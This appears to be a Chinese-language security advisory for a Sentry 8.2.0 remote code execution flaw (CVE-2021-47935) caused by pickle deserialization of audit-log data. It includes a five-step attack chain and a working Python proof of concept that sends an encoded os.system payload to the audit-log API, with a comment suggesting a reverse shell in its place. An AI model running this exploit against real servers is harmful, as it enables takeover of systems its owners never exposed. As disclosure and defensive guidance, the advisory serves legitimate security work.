IPBUF安全漏洞报告
English
CVE-2021-47935 CVSS 8.8 高危

CVE-2021-47935 Sentry远程代码执行漏洞

披露日期: 2026-05-10

漏洞信息

漏洞编号
CVE-2021-47935
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Sentry

相关标签

RCESentryPickle反序列化代码执行CVE-2021-47935

漏洞概述

Sentry 8.2.0版本中存在严重的远程代码执行漏洞。由于系统对审计日志数据处理不当,经过身份认证的超级用户可以通过注入恶意的pickle序列化对象来执行任意命令。攻击者只需发送包含Base64编码压缩pickle载荷的POST请求,即可在服务器端以应用程序权限执行代码,完全控制受影响系统。

技术细节

该漏洞的核心原理在于不安全的反序列化操作。Sentry在处理管理员审计日志的`data`参数时,直接使用了Python的`pickle`模块对数据进行反序列化,而未对数据来源进行严格的安全校验。Pickle模块在反序列化过程中允许执行任意Python代码,攻击者利用这一特性,通过定义类中的`__reduce__`方法来指定要执行的命令(如反弹Shell)。攻击者首先需要获取superuser权限,然后构造恶意对象,将其进行zlib压缩和Base64编码,最后通过向审计日志API端点发送POST请求触发漏洞。服务器在解析请求时会自动解码、解压并反序列化数据,从而执行攻击者的恶意代码。

攻击链分析

STEP 1
步骤1:获取凭证
攻击者需要获取Sentry应用程序的超级用户账号凭证或有效的会话令牌。
STEP 2
步骤2:构造载荷
攻击者编写Python脚本,利用pickle库生成包含恶意命令(如反弹Shell)的序列化对象。
STEP 3
步骤3:数据处理
将生成的pickle数据进行压缩,并进行Base64编码,使其符合审计日志接口的数据格式要求。
STEP 4
步骤4:发送请求
攻击者向Sentry的审计日志端点发送POST请求,将编码后的恶意数据注入到`data`字段中。
STEP 5
步骤5:执行代码
服务器端接收请求并处理审计日志,自动对`data`字段进行解码和反序列化,从而触发远程代码执行。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import pickle import os import base64 import zlib import requests # Target configuration TARGET_URL = "http://localhost:9000/api/0/audit-logs/" AUTH_TOKEN = "YOUR_SUPERUSER_TOKEN" # 1. Generate malicious pickle payload class RCEPayload: def __reduce__(self): # Execute 'id' command. Can be replaced with reverse shell payload. return (os.system, ('id',)) payload = RCEPayload() serialized_data = pickle.dumps(payload) # 2. Compress and Base64 encode as required by the vulnerability compressed_data = zlib.compress(serialized_data) encoded_payload = base64.b64encode(compressed_data).decode('utf-8') # 3. Prepare the exploit request headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } data = { "organization": "default", "event": "audit.log.create", "data": encoded_payload # Injecting the malicious payload } # 4. Send the request print(f"Sending payload to {TARGET_URL}...") response = requests.post(TARGET_URL, json=data, headers=headers) print(f"Status Code: {response.status_code}") print("If vulnerable, the command 'id' has been executed on the server.")

影响范围

Sentry 8.2.0

防御指南

临时缓解措施
建议立即检查Sentry版本并升级到修复了CVE-2021-47935的版本。在无法立即升级的情况下,应严格限制管理员账户的使用,并监控系统的异常进程和网络连接。此外,可以在应用网关层过滤包含特定特征(如Base64编码的pickle魔术字节)的流量请求。

参考链接